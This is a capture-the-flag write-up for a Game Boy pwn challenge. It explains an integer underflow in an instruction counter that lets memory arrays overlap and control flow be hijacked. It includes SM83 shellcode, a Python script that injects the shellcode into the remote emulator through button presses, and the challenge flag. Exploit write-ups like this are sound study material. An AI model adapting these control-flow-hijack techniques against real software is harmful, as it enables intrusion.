This pwn challenge deals with a gameboy program. The game runs on a remote server that contains a gameboy emulator to interact with the game.

We are a given a copy gameboy program (that is supposed to run on SM83 architecture) and the source code written in C.

I used bgb for local debugging : https://bgb.bircd.org/

SM80

First of all, I had to learn a bit about SM80 in order to understand how the memory mapping works.

Then I managed to find out which memory addresses were used by the most interesting variables.

The Vulnerability

After looking at the code and playing a bit with the program, the vulnerability is easily noticeable.

if(inst1_id == inst2_id) 
    {
        uint16_t rpt_sum = inst1_rpt + inst2_rpt;

        if(rpt_sum > 255) 
        {
            ...
        } 
        else 
        {
            inst_rpt[inst1_index] = rpt_sum;
            remove_inst(inst2_index); 
        }
    } 

When swapping an instruction(containing less than 127 repetions) with itself, inst_count is decreased even though we still have the same amount of instruction. Therefore, we are still able to redo self-swapping until decreasing the instructions counter from 0. As memory addresses in SM80 can only contain values up to 255, decreasing from 0 would make the count jump to 255.

Here is the intructions counter at the addres C0D9 before the double self-swapping :

And then after the double self-swapping :

This is the first part of the exploitation, we can see that we now have 255 instructions in the instructions bar. These instructions are not random, they are providing from a memory zone, let’s dive into that.

Vulnerability exploitation

Actually, there are two arrays used, a first array of instructions_type which contains the type of movement_instruction (left, right, up, down) and a second array that contains the amount of repetitions for each instruction.

The repetion array normally goes from address 0xC0B9 to 0xC0C8. And the instruction array normally goes from 0xC0C9 to 0xC0D8.

So the memory addressing works if the program was working as intended with a maximum of 16 instructions. However, as we managed to get 255 instructions, the arrays will overlap other variables.

In particular, both arrays are now overlapping.

For example, C0D9 which was used as the instruction type for the first instruction, is now also used as the repetion value for the 17th instruction (as 0xC0C9 + 0x10 = 0xC0D9). So we are now able to give 256 instruction types (against 4 if the program was working correctly). And the instruction type is correlated to the control flow as the instruction type dictates the function to use when simulating.

if(inst_funcs[inst_id]()) {
                // Draw only if the instruction succeeded
                draw_simu();
bool (*inst_funcs[4])() = {
    inst_go_up,
    inst_go_right,
    inst_go_down,
    inst_go_left
};

bool inst_go_left() {
    return move_bot(-1, 0);
}

bool inst_go_right() {
    return move_bot(1, 0);
}

bool inst_go_up() {
    return move_bot(0, -1);
}

bool inst_go_down() {
    return move_bot(0, 1);
}

So for example, when putting 32 repetitions to the 17th instruction (0xC0D9), the execution jumps to the address formed by the values of 0xC0F2 and 0xC0F1.

Payload

We are now able to modify the control flow and inject data into the memory, so let’s craft a shellcode and modify the control flow to execute the shellcode.

We are going to procede this way :

1- We are going to set the repetition value of the first instruction to 1 (at least) in order to simulate the instruction

2- We need to put the shellcode that will print the flag between the second and 16th instruction.

3- We are going to set the repetion value of the 17th instruction to 32.

4- We are going to modify values at 0x0F2 and 0xC0F1 to point to the address that contains the repetition values of the second instruction (0xC0BA) that’s the beginning of the shellcode.

For the shellcode, we know that the flag is at 0x06FA, we are going to use a part of the original code that is used to convert a string to tiles and “print it”.

Therefore here is the shellcode to print the first 7 chars of the flag (I was not able to modify the amount of chars printed)

ld de,06FA #We load the address of the string to print
call 05C1 # We call the part of the code used to print
ld hl,C0B9 # We setup an infinite loop in order to keep the string printed
jp hl

Here is a python script that retrieves the flag.

import requests
import shutil

#########################################
# pip install requests
#########################################

BUTTON_RIGHT_ARROW  = 0x001
BUTTON_LEFT_ARROW   = 0x002
BUTTON_UP_ARROW     = 0x004
BUTTON_DOWN_ARROW   = 0x008
BUTTON_A            = 0x010
BUTTON_B            = 0x020
BUTTON_SELECT       = 0x040
BUTTON_START        = 0x080
BUTTON_RESET        = 0x100 

PORT = 0000         # <---------- CHANGE ME
HOST = "instances.challenge-ecw.fr"  # <---------- CHANGE ME

def press_button(button: int):
    """
    Send a button press to the remote emulator
    """

    requests.get(f"http://{HOST}:{PORT}/setState?state={button}")
    requests.get(f"http://{HOST}:{PORT}/setState?state=0")

def save_frame(path: str):
    """
    Save the current frame to a PNG image
    """
    response = requests.get(f"http://{HOST}:{PORT}/render", stream=True)
    response.raw.decode_content = True

    with open(path, "wb") as f:
        shutil.copyfileobj(response.raw, f)



def main():
    flag_address = {0:(250,6),1:(0,7),2:(6,7)} # On lit le flag, 6 chars par 6 chars
    for idx_main in range(3):
        #On realise le bug
        print("REALISATION_DU_BUG")

        press_button(BUTTON_A)
        press_button(BUTTON_LEFT_ARROW)
        press_button(BUTTON_SELECT)
        press_button(BUTTON_SELECT)
        press_button(BUTTON_SELECT)
        press_button(BUTTON_SELECT)

        print("BUG REALISE")
        #MAINTENANT LA PAYLOAD
        press_button(BUTTON_UP_ARROW)

        payload = [17,flag_address[idx_main][0],flag_address[idx_main][1],205,193,5,33,186,192,233]
        for i in range (10):
            print("REALISATION DE LA PAYLOAD POSITION "+str(i+1))

            press_button(BUTTON_RIGHT_ARROW)
            val = payload[i]        
            if val < 128:
                for j in range(val):
                    press_button(BUTTON_UP_ARROW)
            else:
                for j in range(255-val):
                    press_button(BUTTON_DOWN_ARROW)
            
        for i in range(6):
            press_button(BUTTON_RIGHT_ARROW)
        print("MODIFICATION DU POINTEUR D'ADDRESSE")

        for j in range(32):
            press_button(BUTTON_UP_ARROW)
        print("POINTEUR MODIFIE")

        for x in range(40):
            press_button(BUTTON_RIGHT_ARROW)
        print("MODIFICATION DE LA PREMIERE PARTIE D'ADDRESSE")

        for x in range(255-186):
            press_button(BUTTON_DOWN_ARROW)
        press_button(BUTTON_RIGHT_ARROW)
        print("MODIFICATION DE LA DEUXIEME PARTIE D'ADDRESSE")

        for x in range(255-192):
            press_button(BUTTON_DOWN_ARROW)
        
        press_button(BUTTON_START)
        save_frame("/home/devilsharu/Documents/ECW/shellboy/frames/ok{}.png".format(idx_main))
        print("FIN")



if __name__ == "__main__":
    main()

Flag

ECW{R3Tr0_Gb_RcE!}